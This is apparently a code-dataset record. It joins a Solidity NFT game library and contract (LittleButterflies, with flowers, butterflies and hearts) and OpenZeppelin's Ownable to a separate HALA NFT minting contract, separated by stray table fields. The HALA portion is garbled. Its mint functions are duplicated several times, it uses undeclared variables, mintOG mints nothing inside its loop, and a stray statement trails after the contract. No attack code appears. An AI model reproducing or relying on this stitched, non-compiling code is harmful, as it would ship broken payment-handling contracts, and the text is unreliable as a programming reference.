* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getHeartOwnerByIndex(
Data storage self,
uint256 heartId,
uint160 index
) external view returns (address) {
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp != 0);
return heart.previousAddresses.elements[index];
}
/**
* @dev Determines whether the game logic allows a transfer of a butterfly to another address.
* Conditions:
* - The receiver address must have already claimed a butterfly
* - The butterfly's last timestamp is within the last 24 hours
* - The receiver address must have never claimed *this* butterfly
* OR
* - The receiver is 0x0
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
* @param receiver address Address of potential receiver
* @param currentTimestamp uint64
*/
function canReceiveButterfly(
Data storage self,
uint256 butterflyId,
address receiver,
uint64 currentTimestamp
) public view returns (bool) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
// butterfly must exist
if (butterfly.createdTimestamp == 0)
return false;
// can always transfer to 0 (destroying it)
if (receiver == address(0x0))
return true;
// butterfly must have been last updated on the last day
if (currentTimestamp < butterfly.lastTimestamp || currentTimestamp - butterfly.lastTimestamp > 1 days)
return false;
// receiver must have already claimed
Flower storage flower = self.flowerData[receiver];
if (!flower.isClaimed) return false;
// receiver must have never owned this butterfly
return !EnumerableSetAddress.contains(butterfly.previousAddresses, receiver);
}
/** Editor methods */
/**
* @dev Claims a flower and an initial butterfly for a given address.
* Requires address to have not claimed previously
*
* @param self Data storage Reference to game data
* @param claimer address Address making the claim
* @param gardenTimezone uint64
* @param currentTimestamp uint64
*
* @return butterflyId uint256 ID for the new butterfly
*/
function claim(
Data storage self,
address claimer,
uint64 gardenTimezone,
uint64 currentTimestamp
) external returns (uint256 butterflyId) {
Flower storage flower = self.flowerData[claimer];
// require address has not claimed before
require(!flower.isClaimed);
// assert no overflow on IDs
require(self.nextId + 1 != 0);
// get butterfly ID
butterflyId = self.nextId;
// assert ID is not being reused
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp == 0);
// update counter
self.nextId++;
// update flower data
flower.isClaimed = true;
flower.gardenTimezone = gardenTimezone;
flower.createdTimestamp = currentTimestamp;
flower.gene = PRNG.next(self.seed);
flower.flowerIndex = uint160(self.claimedFlowers.length);
// update butterfly data
butterfly.gene = PRNG.next(self.seed);
butterfly.createdTimestamp = currentTimestamp;
butterfly.lastTimestamp = currentTimestamp;
EnumerableSetAddress.add(butterfly.previousAddresses, claimer);
// update butterfly token data
self.tokenToType[butterflyId] = TokenType.Butterfly;
// register butterfly token
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Butterfly)][claimer], butterflyId);
EnumerableSet256.add(self.typedTokens[uint8(TokenType.Butterfly)], butterflyId);
// register address
self.claimedFlowers.push(claimer);
}
/**
* @dev Logs a transfer of a butterfly between two addresses, leaving a heart behind.
*
* Conditions:
* - The receiver address must have already claimed a butterfly
* - The butterfly's last timestamp is within the last 24 hours
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
* @param sender Address of sender
* @param receiver address Address of potential receiver
* @param currentTimestamp uint64
*
* @return heartId uint256 ID for the new heart
*/
function transferButterfly(
Data storage self,
uint256 butterflyId,
address sender,
address receiver,
uint64 currentTimestamp
) external returns (uint256 heartId) {
// require transfer conditions to be satisfied
require(canReceiveButterfly(self, butterflyId, receiver, currentTimestamp));
// require no overflow on IDs
require(self.nextId + 1 != 0);
// get heart ID
heartId = self.nextId;
// assert ID is not being reused
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp == 0);
// update counter
self.nextId++;
// update heart data
heart.butterflyId = butterflyId;
heart.snapshotTimestamp = currentTimestamp;
Butterfly storage butterfly = self.butterflyData[butterflyId];
// update heart token heartId
self.tokenToType[heartId] = TokenType.Heart;
// update butterfly data
butterfly.lastTimestamp = currentTimestamp;
EnumerableSetAddress.add(butterfly.previousAddresses, receiver);
// update heart addresses
EnumerableSetAddress.copy(butterfly.previousAddresses, heart.previousAddresses);
// update butterfly register
EnumerableSet256.remove(self.typedOwnedTokens[uint8(TokenType.Butterfly)][sender], butterflyId);
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Butterfly)][receiver], butterflyId);
// update heart register
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Heart)][sender], heartId);
EnumerableSet256.add(self.typedTokens[uint8(TokenType.Heart)], heartId);
}
/**
* @dev Logs a transfer of a heart between two addresses
*
* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
* @param sender Address of sender
* @param receiver address Address of potential receiver
*/
function transferHeart(
Data storage self,
uint256 heartId,
address sender,
address receiver
) external {
// update heart register
EnumerableSet256.remove(self.typedOwnedTokens[uint8(TokenType.Heart)][sender], heartId);
EnumerableSet256.add(self.typedOwnedTokens[uint8(TokenType.Heart)][receiver], heartId);
}
/**
* @dev Returns the total number of tokens for a given type, owned by a specific address
*
* @param self Data storage Reference to game data
* @param tokenType uint8
* @param _owner address
*
* @return uint256
*/
function typedBalanceOf(Data storage self, uint8 tokenType, address _owner) public view returns (uint256) {
return self.typedOwnedTokens[tokenType][_owner].elements.length;
}
/**
* @dev Returns the total number of tokens for a given type
*
* @param self Data storage Reference to game data
* @param tokenType uint8
*
* @return uint256
*/
function typedTotalSupply(Data storage self, uint8 tokenType) public view returns (uint256) {
return self.typedTokens[tokenType].elements.length;
}
/**
* @dev Returns the I-th token of a specific type owned by an index
*
* @param self Data storage Reference to game data
* @param tokenType uint8
* @param _owner address
* @param _index uint256
*
* @return uint256
*/
function typedTokenOfOwnerByIndex(
Data storage self,
uint8 tokenType,
address _owner,
uint256 _index
) external view returns (uint256) {
return self.typedOwnedTokens[tokenType][_owner].elements[_index];
}
/**
* @dev Returns the I-th token of a specific type
*
* @param self Data storage Reference to game data
* @param tokenType uint8
* @param _index uint256
*
* @return uint256
*/
function typedTokenByIndex(
Data storage self,
uint8 tokenType,
uint256 _index
) external view returns (uint256) {
return self.typedTokens[tokenType].elements[_index];
}
/**
* @dev Gets the total number of claimed flowers
*
* @param self Data storage Reference to game data
* @return uint160
*/
function totalFlowers(Data storage self) external view returns (uint160) {
return uint160(self.claimedFlowers.length);
}
/**
* @dev Gets the address of the N-th flower
*
* @param self Data storage Reference to game data
* @return address
*/
function getFlowerByIndex(Data storage self, uint160 index) external view returns (address) {
return self.claimedFlowers[index];
}
/** Admin methods **/
/**
* @dev Registers a new flower URI with the corresponding weight
*
* @param self Data storage Reference to game data
* @param weight uint16 Relative weight for the occurrence of this URI
* @param uri string
*/
function addFlowerURI(Data storage self, uint16 weight, string uri) external {
URIDistribution.addURI(self.uriMappingData.flowerURIs, weight, uri);
}
/**
* @dev Registers the flower URI for address 0
*
* @param self Data storage Reference to game data
* @param uri string
*/
function setWhiteFlowerURI(Data storage self, string uri) external {
self.uriMappingData.whiteFlowerURI = uri;
}
/**
* @dev Gets the flower URI for address 0
*
* @param self Data storage Reference to game data
* @return string
*/
function getWhiteFlowerURI(Data storage self) external view returns (string) {
return self.uriMappingData.whiteFlowerURI;
}
/**
* @dev Registers a new butterfly URI with the corresponding weight
*
* @param self Data storage Reference to game data
* @param weight uint16 Relative weight for the occurrence of this URI
* @param liveUri string
* @param deadUri string
* @param heartUri string
*/
function addButterflyURI(Data storage self, uint16 weight, string liveUri, string deadUri, string heartUri) external {
URIDistribution.addURI(self.uriMappingData.butterflyLiveURIs, weight, liveUri);
URIDistribution.addURI(self.uriMappingData.butterflyDeadURIs, weight, deadUri);
URIDistribution.addURI(self.uriMappingData.heartURIs, weight, heartUri);
}
/**
* @dev Returns the URI mapped to a particular flower.
* Requires flower to be claimed / exist.
*
* @param self Data storage Reference to game data
* @param flowerAddress address Flower being queried
* @return string
*/
function getFlowerURI(Data storage self, address flowerAddress) external view returns (string) {
Flower storage flower = self.flowerData[flowerAddress];
require(flower.isClaimed);
return URIDistribution.getURI(self.uriMappingData.flowerURIs, flower.gene);
}
/**
* @dev Returns the URI mapped to a particular butterfly -- selecting the URI for it being alive
* or dead based on the current timestamp.
* Requires butterfly to exist.
*
* @param self Data storage Reference to game data
* @param erc721Data ERC721Manager.ERC721Data storage Reference to ownership data
* @param butterflyId uint256 ID of the butterfly being queried
* @param currentTimestamp uint64
* @return string
*/
function getButterflyURI(
Data storage self,
ERC721Manager.ERC721Data storage erc721Data,
uint256 butterflyId,
uint64 currentTimestamp
) external view returns (string) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp != 0);
if (erc721Data.tokenOwner[butterflyId] == 0
|| currentTimestamp < butterfly.lastTimestamp
|| currentTimestamp - butterfly.lastTimestamp > 1 days) {
return URIDistribution.getURI(self.uriMappingData.butterflyDeadURIs, butterfly.gene);
}
return URIDistribution.getURI(self.uriMappingData.butterflyLiveURIs, butterfly.gene);
}
/**
* @dev Returns the URI for a particular butterfly gene -- useful for seeing the butterfly "as it was"
* when it dropped a heart
*
* @param self Daata storage Reference to game data
* @param gene uint64
* @param isAlive bool
* @return string
*/
function getButterflyURIFromGene(
Data storage self,
uint64 gene,
bool isAlive
) external view returns (string) {
if (isAlive) {
return URIDistribution.getURI(self.uriMappingData.butterflyLiveURIs, gene);
}
return URIDistribution.getURI(self.uriMappingData.butterflyDeadURIs, gene);
}
/**
* @dev Returns the URI mapped to hearts
*
* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
* @return string
*/
function getHeartURI(Data storage self, uint256 heartId) external view returns (string) {
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp != 0);
uint64 gene = self.butterflyData[heart.butterflyId].gene;
return URIDistribution.getURI(self.uriMappingData.heartURIs, gene);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\game\Main.sol
/**
* @title Main
*
* Main contract for LittleButterflies. Implements the ERC721 EIP for Non-Fungible Tokens.
*/
contract Main is ERC721Token, Ownable {
GameDataLib.Data internal data;
// Set our token name and symbol
constructor() ERC721Token("LittleButterfly", "BFLY") public {
// initialize PRNG values
data.seed.s0 = uint64(now);
data.seed.s1 = uint64(msg.sender);
}
/** Token viewer methods **/
/**
* @dev Gets game information associated with a specific butterfly.
* Requires ID to be a valid butterfly.
*
* @param butterflyId uint256 ID of butterfly being queried
*
* @return gene uint64
* @return createdTimestamp uint64
* @return lastTimestamp uint64
* @return numOwners uint160
*/
function getButterflyInfo(uint256 butterflyId) public view returns (
uint64 gene,
uint64 createdTimestamp,
uint64 lastTimestamp,
uint160 numOwners
) {
(gene, createdTimestamp, lastTimestamp, numOwners) = GameDataLib.getButterflyInfo(data, butterflyId);
}
/**
* @dev Returns the N-th owner associated with a butterfly.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
* @param butterflyId uint256 ID of butterfly being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getButterflyOwnerByIndex(
uint256 butterflyId,
uint160 index
) external view returns (address) {
return GameDataLib.getButterflyOwnerByIndex(data, butterflyId, index);
}
/**
* @dev Gets game information associated with a specific heart.
* Requires ID to be a valid heart.
*
* @param heartId uint256 ID of heart being queried
*
* @return butterflyId uint256
* @return gene uint64
* @return snapshotTimestamp uint64
* @return numOwners uint160
*/
function getHeartInfo(uint256 heartId) public view returns (
uint256 butterflyId,
uint64 gene,
uint64 snapshotTimestamp,
uint160 numOwners
) {
(butterflyId, gene, snapshotTimestamp, numOwners) = GameDataLib.getHeartInfo(data, heartId);
}
/**
* @dev Returns the N-th owner associated with a heart's snapshot.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
* @param heartId uint256 ID of heart being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getHeartOwnerByIndex(
uint256 heartId,
uint160 index
) external view returns (address) {
return GameDataLib.getHeartOwnerByIndex(data, heartId, index);
}
/**
* @dev Gets game information associated with a specific flower.
*
* @param flowerAddress address Address of the flower being queried
*
* @return isClaimed bool
* @return gene uint64
* @return gardenTimezone uint64
* @return createdTimestamp uint64
* @return flowerIndex uint160
*/
function getFlowerInfo(
address flowerAddress
) external view returns (
bool isClaimed,
uint64 gene,
uint64 gardenTimezone,
uint64 createdTimestamp,
uint160 flowerIndex
) {
(isClaimed, gene, gardenTimezone, createdTimestamp, flowerIndex) = GameDataLib.getFlowerInfo(data, flowerAddress);
}
/**
* @dev Determines whether the game logic allows a transfer of a butterfly to another address.
* Conditions:
* - The receiver address must have already claimed a butterfly
* - The butterfly's last timestamp is within the last 24 hours
* - The receiver address must have never claimed *this* butterfly
*
* @param butterflyId uint256 ID of butterfly being queried
* @param receiver address Address of potential receiver
*/
function canReceiveButterfly(
uint256 butterflyId,
address receiver
) external view returns (bool) {
return GameDataLib.canReceiveButterfly(data, butterflyId, receiver, uint64(now));
}
/** Override token methods **/
/**
* @dev Override the default ERC721 transferFrom implementation in order to check game conditions and
* generate side effects
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public {
_setupTransferFrom(_from, _to, _tokenId, uint64(now));
ERC721Manager.transferFrom(erc721Data, _from, _to, _tokenId);
}
/**
* @dev Override the default ERC721 safeTransferFrom implementation in order to check game conditions and
* generate side effects
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
_setupTransferFrom(_from, _to, _tokenId, uint64(now));
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId);
}
/**
* @dev Override the default ERC721 safeTransferFrom implementation in order to check game conditions and
* generate side effects
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public {
_setupTransferFrom(_from, _to, _tokenId, uint64(now));
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId, _data);
}
/**
* @dev Execute before transfer, preventing token transfer in some circumstances.
* Requirements:
* - Caller is owner, approved, or operator for the token
* - To has claimed a token before
* - Token is a Heart, or Token's last activity was in the last 24 hours
*
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param currentTimestamp uint64
*/
function _setupTransferFrom(
address from,
address to,
uint256 tokenId,
uint64 currentTimestamp
) private {
if (data.tokenToType[tokenId] == GameDataLib.TokenType.Butterfly) {
// try to do transfer and mint a heart
uint256 heartId = GameDataLib.transferButterfly(data, tokenId, from, to, currentTimestamp);
ERC721Manager.mint(erc721Data, from, heartId);
} else {
GameDataLib.transferHeart(data, tokenId, from, to);
}
}
/**
* @dev Overrides the default tokenURI method to lookup from the stored table of URIs -- rather than
* storing a copy of the URI for each instance
*
* @param _tokenId uint256
* @return string
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
if (data.tokenToType[_tokenId] == GameDataLib.TokenType.Heart) {
return GameDataLib.getHeartURI(data, _tokenId);
}
return GameDataLib.getButterflyURI(data, erc721Data, _tokenId, uint64(now));
}
/**
* @dev Returns the URI mapped to a particular account / flower
*
* @param accountAddress address
* @return string
*/
function accountURI(address accountAddress) public view returns (string) {
return GameDataLib.getFlowerURI(data, accountAddress);
}
/**
* @dev Returns the URI mapped to account 0
*
* @return string
*/
function accountZeroURI() public view returns (string) {
return GameDataLib.getWhiteFlowerURI(data);
}
/**
* @dev Returns the URI for a particular butterfly gene -- useful for seeing the butterfly "as it was"
* when it dropped a heart
*
* @param gene uint64
* @param isAlive bool
* @return string
*/
function getButterflyURIFromGene(uint64 gene, bool isAlive) public view returns (string) {
return GameDataLib.getButterflyURIFromGene(data, gene, isAlive);
}
/** Extra token methods **/
/**
* @dev Claims a flower and an initial butterfly for a given address.
* Requires address to have not claimed previously
*
* @param gardenTimezone uint64
*/
function claim(uint64 gardenTimezone) external {
address claimer = msg.sender;
// claim a butterfly
uint256 butterflyId = GameDataLib.claim(data, claimer, gardenTimezone, uint64(now));
// mint its token
ERC721Manager.mint(erc721Data, claimer, butterflyId);
}
/**
* @dev Burns a token. Caller must be owner or approved.
*
* @param _tokenId uint256 ID of token to burn
*/
function burn(uint256 _tokenId) public {
require(ERC721Manager.isApprovedOrOwner(erc721Data, msg.sender, _tokenId));
address _owner = ERC721Manager.ownerOf(erc721Data, _tokenId);
_setupTransferFrom(_owner, address(0x0), _tokenId, uint64(now));
ERC721Manager.burn(erc721Data, _owner, _tokenId);
}
/**
* @dev Returns the total number of tokens for a given type, owned by a specific address
*
* @param tokenType uint8
* @param _owner address
*
* @return uint256
*/
function typedBalanceOf(uint8 tokenType, address _owner) public view returns (uint256) {
return GameDataLib.typedBalanceOf(data, tokenType, _owner);
}
/**
* @dev Returns the total number of tokens for a given type
*
* @param tokenType uint8
*
* @return uint256
*/
function typedTotalSupply(uint8 tokenType) public view returns (uint256) {
return GameDataLib.typedTotalSupply(data, tokenType);
}
/**
* @dev Returns the I-th token of a specific type owned by an index
*
* @param tokenType uint8
* @param _owner address
* @param _index uint256
*
* @return uint256
*/
function typedTokenOfOwnerByIndex(
uint8 tokenType,
address _owner,
uint256 _index
) external view returns (uint256) {
return GameDataLib.typedTokenOfOwnerByIndex(data, tokenType, _owner, _index);
}
/**
* @dev Returns the I-th token of a specific type
*
* @param tokenType uint8
* @param _index uint256
*
* @return uint256
*/
function typedTokenByIndex(
uint8 tokenType,
uint256 _index
) external view returns (uint256) {
return GameDataLib.typedTokenByIndex(data, tokenType, _index);
}
/**
* @dev Gets the total number of claimed flowers
*
* @return uint160
*/
function totalFlowers() external view returns (uint160) {
return GameDataLib.totalFlowers(data);
}
/**
* @dev Gets the address of the N-th flower
*
* @return address
*/
function getFlowerByIndex(uint160 index) external view returns (address) {
return GameDataLib.getFlowerByIndex(data, index);
}
/** Admin setup methods */
/*
* Methods intended for initial contract setup, to be called at deployment.
* Call renounceOwnership() to make the contract have no owner after setup is complete.
*/
/**
* @dev Registers a new flower URI with the corresponding weight
*
* @param weight uint16 Relative weight for the occurrence of this URI
* @param uri string
*/
function addFlowerURI(uint16 weight, string uri) external onlyOwner {
GameDataLib.addFlowerURI(data, weight, uri);
}
/**
* @dev Registers the flower URI for address 0
*
* @param uri string
*/
function setWhiteFlowerURI(string uri) external onlyOwner {
GameDataLib.setWhiteFlowerURI(data, uri);
}
/**
* @dev Registers a new butterfly URI with the corresponding weight
*
* @param weight uint16 Relative weight for the occurrence of this URI
* @param liveUri string
* @param deadUri string
* @param heartUri string
*/
function addButterflyURI(uint16 weight, string liveUri, string deadUri, string heartUri) external onlyOwner {
GameDataLib.addButterflyURI(data, weight, liveUri, deadUri, heartUri);
}
}
|
* @dev Override the default ERC721 transferFrom implementation in order to check game conditions and generate side effects/
|
function transferFrom(address _from, address _to, uint256 _tokenId) public {
_setupTransferFrom(_from, _to, _tokenId, uint64(now));
ERC721Manager.transferFrom(erc721Data, _from, _to, _tokenId);
}
| 7,284,105
|
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] |
./full_match/1/0xC4BAeEA53fE2470E88dC9C7c5868440A376EcafF/sources/contracts/NFT.sol
|
Price Supply Minted Supply
|
contract NFT is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseExtension = ".json";
bool public paused = true;
bool public publicSaleStarted = false;
uint256 public maxSupply = 1515;
uint256 public tier1Price = 0.2 ether;
uint256 public tier2Price = 0.2 ether;
uint256 public specialPrice = 0.2 ether;
uint256 public OGPrice = 0.17 ether;
uint public tier1Supply = 750 - tier1OGSupply;
uint public tier2Supply = 750 - tier2OGSupply;
uint public specialEditionSupply = 15;
uint public tier1MintedSupply = 0;
uint public tier2MintedSupply = 0;
uint public specialEditionMintedSupply = 0;
uint public tier1OGMintedSupply = 0;
uint public tier2OGMintedSupply = 0;
uint public maxPerMintCount = 10;
address public teamWallet = 0xE7624183DD2CE7245FBE7182589dA9b0c52eA132;
constructor() ERC721("HALA", "HALA") {
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mintTier1(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(tier1MintedSupply + _mintCount <= tier1Supply, "Tier 1 NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= tier1Price * _mintCount, "Not enough fees to mint.");
}
for (uint256 i = 1; i <= _mintCount; i++) {
tier1MintedSupply ++;
_safeMint(_to, tier1MintedSupply);
}
}
function mintTier1(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(tier1MintedSupply + _mintCount <= tier1Supply, "Tier 1 NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= tier1Price * _mintCount, "Not enough fees to mint.");
}
for (uint256 i = 1; i <= _mintCount; i++) {
tier1MintedSupply ++;
_safeMint(_to, tier1MintedSupply);
}
}
function mintTier1(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(tier1MintedSupply + _mintCount <= tier1Supply, "Tier 1 NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= tier1Price * _mintCount, "Not enough fees to mint.");
}
for (uint256 i = 1; i <= _mintCount; i++) {
tier1MintedSupply ++;
_safeMint(_to, tier1MintedSupply);
}
}
function mintTier2(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(tier2MintedSupply + _mintCount <= tier2Supply, "Tier 2 NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= tier2Price * _mintCount, 'Not enough fees to mint.');
}
for (uint256 i = 1; i <= _mintCount; i++) {
tier2MintedSupply ++;
_safeMint(_to, 750 + tier2MintedSupply);
}
}
function mintTier2(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(tier2MintedSupply + _mintCount <= tier2Supply, "Tier 2 NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= tier2Price * _mintCount, 'Not enough fees to mint.');
}
for (uint256 i = 1; i <= _mintCount; i++) {
tier2MintedSupply ++;
_safeMint(_to, 750 + tier2MintedSupply);
}
}
function mintTier2(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(tier2MintedSupply + _mintCount <= tier2Supply, "Tier 2 NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= tier2Price * _mintCount, 'Not enough fees to mint.');
}
for (uint256 i = 1; i <= _mintCount; i++) {
tier2MintedSupply ++;
_safeMint(_to, 750 + tier2MintedSupply);
}
}
function mintSpecial(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(specialEditionMintedSupply + _mintCount <= specialEditionSupply, "Special Edition NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= specialPrice * _mintCount, 'Not enough fees to mint.');
}
for (uint256 i = 1; i <= _mintCount; i++) {
specialEditionMintedSupply ++;
_safeMint(_to, 1500 + specialEditionMintedSupply);
}
}
function mintSpecial(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(specialEditionMintedSupply + _mintCount <= specialEditionSupply, "Special Edition NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= specialPrice * _mintCount, 'Not enough fees to mint.');
}
for (uint256 i = 1; i <= _mintCount; i++) {
specialEditionMintedSupply ++;
_safeMint(_to, 1500 + specialEditionMintedSupply);
}
}
function mintSpecial(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(publicSaleStarted, "You can mint this NFT on the public sale.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
require(specialEditionMintedSupply + _mintCount <= specialEditionSupply, "Special Edition NFT limited.");
if (msg.sender != owner()) {
require(msg.value >= specialPrice * _mintCount, 'Not enough fees to mint.');
}
for (uint256 i = 1; i <= _mintCount; i++) {
specialEditionMintedSupply ++;
_safeMint(_to, 1500 + specialEditionMintedSupply);
}
}
function mintOG(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
for (uint256 i = 1; i <= _mintCount; i++) {
if(tier1OGMintedSupply > tier2OGMintedSupply) {
require(tier2OGMintedSupply < tier2OGSupply, "Tier 2 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier2OGMintedSupply ++;
}
else {
require(tier1OGMintedSupply < tier1OGSupply, "Tier 1 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier1OGMintedSupply ++;
}
}
}
function mintOG(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
for (uint256 i = 1; i <= _mintCount; i++) {
if(tier1OGMintedSupply > tier2OGMintedSupply) {
require(tier2OGMintedSupply < tier2OGSupply, "Tier 2 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier2OGMintedSupply ++;
}
else {
require(tier1OGMintedSupply < tier1OGSupply, "Tier 1 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier1OGMintedSupply ++;
}
}
}
function mintOG(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
for (uint256 i = 1; i <= _mintCount; i++) {
if(tier1OGMintedSupply > tier2OGMintedSupply) {
require(tier2OGMintedSupply < tier2OGSupply, "Tier 2 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier2OGMintedSupply ++;
}
else {
require(tier1OGMintedSupply < tier1OGSupply, "Tier 1 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier1OGMintedSupply ++;
}
}
}
function mintOG(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
for (uint256 i = 1; i <= _mintCount; i++) {
if(tier1OGMintedSupply > tier2OGMintedSupply) {
require(tier2OGMintedSupply < tier2OGSupply, "Tier 2 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier2OGMintedSupply ++;
}
else {
require(tier1OGMintedSupply < tier1OGSupply, "Tier 1 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier1OGMintedSupply ++;
}
}
}
_safeMint(_to, 1500 - tier2OGMintedSupply);
